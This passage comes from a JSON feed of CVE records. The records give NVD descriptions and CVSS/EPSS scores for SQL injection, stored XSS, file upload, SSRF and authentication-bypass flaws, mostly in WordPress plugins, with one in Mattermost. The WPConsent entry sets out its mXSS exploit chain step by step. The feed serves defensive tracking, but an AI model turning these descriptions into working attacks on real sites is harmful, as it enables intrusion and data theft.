empty search.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T10:18:05.653Z","updatedAt":"2026-10-16T11:17:01.057Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-14452","asOf":"2026-10-16T11:17:01.057Z"},"epss":{"probability":0.00295,"percentile":0.21962,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-14452&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-14452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14452","type":"primary","publishedAt":"2026-10-16T10:18:05.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-14452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-14452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92766","cveId":"CVE-2026-92766","aliases":[],"kind":"vulnerability","title":"The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including,...","summary":"The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including, 3.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This makes it possible for unauthenticated attackers, or authenticated attackers holding any POS role (such as vtpos-cashier), to exploit the vulnerability, as the /vitepos/v1/vendor/list REST route's permission callback requires only a POS role assignment rather than any elevated WordPress capability.","detail":"The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including, 3.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This makes it possible for unauthenticated attackers, or authenticated attackers holding any POS role (such as vtpos-cashier), to exploit the vulnerability, as the /vitepos/v1/vendor/list REST route's permission callback requires only a POS role assignment rather than any elevated WordPress capability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T09:17:04.963Z","updatedAt":"2026-10-16T15:17:35.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92766","asOf":"2026-10-16T15:17:35.763Z"},"epss":{"probability":0.0033,"percentile":0.25857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92766","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92766","type":"primary","publishedAt":"2026-10-16T09:17:04.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-14177","cveId":"CVE-2026-14177","aliases":[],"kind":"vulnerability","title":"Observable response discrepancy vulnerability in IKAS Technology Inc.","summary":"Observable response discrepancy vulnerability in IKAS Technology Inc. Ikas E-Commerce Infrastructure allows Account Footprinting.\n\nThis issue affects ikas E-Commerce Infrastructure: through 2026-07-13.","detail":"Observable response discrepancy vulnerability in IKAS Technology Inc. Ikas E-Commerce Infrastructure allows Account Footprinting.\n\nThis issue affects ikas E-Commerce Infrastructure: through 2026-07-13.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T09:17:04.533Z","updatedAt":"2026-10-16T15:21:12.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-14177","asOf":"2026-10-16T15:21:12.790Z"},"epss":{"probability":0.00245,"percentile":0.15573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-14177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-14177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14177","type":"primary","publishedAt":"2026-10-16T09:17:04.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-14177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-14177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111311","cveId":"CVE-2026-111311","aliases":[],"kind":"vulnerability","title":"The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File...","summary":"The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.5.1 via the store_upload function. This is due to a fail-open extension allow-list in extension_is_allowed() that returns true when wp_check_filetype() yields an empty type for unrecognized extensions such as .php, combined with magic-byte-only MIME detection and no capability check beyond is_user_logged_in(). This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the Helpdesk module to be enabled, as the vulnerable REST endpoint is only registered when that module is active.","detail":"The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.5.1 via the store_upload function. This is due to a fail-open extension allow-list in extension_is_allowed() that returns true when wp_check_filetype() yields an empty type for unrecognized extensions such as .php, combined with magic-byte-only MIME detection and no capability check beyond is_user_logged_in(). This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the Helpdesk module to be enabled, as the vulnerable REST endpoint is only registered when that module is active.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T09:17:04.250Z","updatedAt":"2026-10-16T14:51:17.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111311","asOf":"2026-10-16T14:51:17.720Z"},"epss":{"probability":0.00511,"percentile":0.43317,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111311","type":"primary","publishedAt":"2026-10-16T09:17:04.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109224","cveId":"CVE-2026-109224","aliases":[],"kind":"vulnerability","title":"The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site...","summary":"The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution requires the affected comment to appear on a post that loads the surecart-components runtime (e.g. via a [sc_buy_button] shortcode) and contains no sc-checkout element, as these conditions trigger the innerHTML sink in sc-cart-loader.","detail":"The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution requires the affected comment to appear on a post that loads the surecart-components runtime (e.g. via a [sc_buy_button] shortcode) and contains no sc-checkout element, as these conditions trigger the innerHTML sink in sc-cart-loader.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T09:17:04.113Z","updatedAt":"2026-10-16T15:17:06.923Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109224","asOf":"2026-10-16T15:17:06.923Z"},"epss":{"probability":0.0028,"percentile":0.2028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109224","type":"primary","publishedAt":"2026-10-16T09:17:04.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101300","cveId":"CVE-2026-101300","aliases":[],"kind":"vulnerability","title":"Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow.","summary":"Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow. According to the report, an authenticated user with a promoter account can manipulate the <svg> parameter of the POST request generated by selecting Download PDF. The content is processed by the export.highcharts.com service, which sends HTTP requests to attacker-controlled external resources and embeds their responses in the generated PDF. The reported behavior allows the export service to be used as an intermediary for these requests.","detail":"Server-Side Request Forgery (SSRF) reported in the ticket sales chart PDF export functionality of Wegow. According to the report, an authenticated user with a promoter account can manipulate the <svg> parameter of the POST request generated by selecting Download PDF. The content is processed by the export.highcharts.com service, which sends HTTP requests to attacker-controlled external resources and embeds their responses in the generated PDF. The reported behavior allows the export service to be used as an intermediary for these requests.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T09:17:03.703Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101300","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00207,"percentile":0.10703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101300","type":"primary","publishedAt":"2026-10-16T09:17:03.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87111","cveId":"CVE-2026-87111","aliases":[],"kind":"vulnerability","title":"The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP...","summary":"The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP Referer Header in all versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is present only in the premium build of the plugin and is not present in the free WordPress.org distribution. The nonce required to call the vulnerable AJAX endpoint is localized into the page source of every front-end page for anonymous visitors, making it fully obtainable by unauthenticated attackers.","detail":"The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP Referer Header in all versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is present only in the premium build of the plugin and is not present in the free WordPress.org distribution. The nonce required to call the vulnerable AJAX endpoint is localized into the page source of every front-end page for anonymous visitors, making it fully obtainable by unauthenticated attackers.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T08:17:13.650Z","updatedAt":"2026-10-16T15:17:33.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87111","asOf":"2026-10-16T15:17:33.417Z"},"epss":{"probability":0.0019,"percentile":0.08583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87111","type":"primary","publishedAt":"2026-10-16T08:17:13.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75903","cveId":"CVE-2026-75903","aliases":[],"kind":"vulnerability","title":"The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the...","summary":"The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the delegated-login pairing credential file on Nginx-based installations, where the plugin's generated server configuration snippet guards the wrong directory path. This makes it possible for unauthenticated attackers to retrieve the stored credentials, forge signed REST API requests, and log in as an administrator.","detail":"The Vulnity Security plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.3 This is due to insufficient protection of the delegated-login pairing credential file on Nginx-based installations, where the plugin's generated server configuration snippet guards the wrong directory path. This makes it possible for unauthenticated attackers to retrieve the stored credentials, forge signed REST API requests, and log in as an administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T08:17:13.513Z","updatedAt":"2026-10-16T15:17:33.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75903","asOf":"2026-10-16T15:17:33.190Z"},"epss":{"probability":0.00514,"percentile":0.43478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75903&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75903","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75903","type":"primary","publishedAt":"2026-10-16T08:17:13.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75903&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75903, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16453","cveId":"CVE-2026-16453","aliases":[],"kind":"vulnerability","title":"Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an...","summary":"Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an authenticated SAML user to join any team, including invite-only teams, via forging the team_id or invite_id fields in the RelayState.. Mattermost Advisory ID: MMSA-2026-00727","detail":"Mattermost versions 11.10.x <= 11.10.0, 11.7.x <= 11.7.9, 11.9.x <= 11.9.1, 11.8.x <= 11.8.5 fail to verify the integrity of the SAML RelayState POST parameter which allows an authenticated SAML user to join any team, including invite-only teams, via forging the team_id or invite_id fields in the RelayState.. Mattermost Advisory ID: MMSA-2026-00727\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T08:17:12.640Z","updatedAt":"2026-10-16T19:23:18.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16453","asOf":"2026-10-16T19:23:18.623Z"},"epss":{"probability":0.00186,"percentile":0.08154,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16453&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16453","type":"primary","publishedAt":"2026-10-16T08:17:12.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16453&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16453, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97640","cveId":"CVE-2026-97640","aliases":[],"kind":"vulnerability","title":"The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting...","summary":"The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Simple HTML DOM Parser Noise-Key Restoration (mXSS) in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the Script Blocking feature to be enabled, and the exploit chain depends on an attacker submitting two coordinated comments — one embedding event-handler syntax inside an allowed &lt;code&gt; element and one placing the deterministic ___noise___ restoration key inside an allowed &lt;abbr title=\"\"&gt; attribute — with the key offset confirmable via an unauthenticated wpconsent_debug=1 request.","detail":"The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Simple HTML DOM Parser Noise-Key Restoration (mXSS) in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the Script Blocking feature to be enabled, and the exploit chain depends on an attacker submitting two coordinated comments — one embedding event-handler syntax inside an allowed &lt;code&gt; element and one placing the deterministic ___noise___ restoration key inside an allowed &lt;abbr title=\"\"&gt; attribute — with the key offset confirmable via an unauthenticated wpconsent_debug=1 request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T07:17:14.823Z","updatedAt":"2026-10-16T15:17:38.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97640","asOf":"2026-10-16T15:17:38.253Z"},"epss":{"probability":0.00243,"percentile":0.15285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97640","type":"primary","publishedAt":"2026-10-16T07:17:14.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured 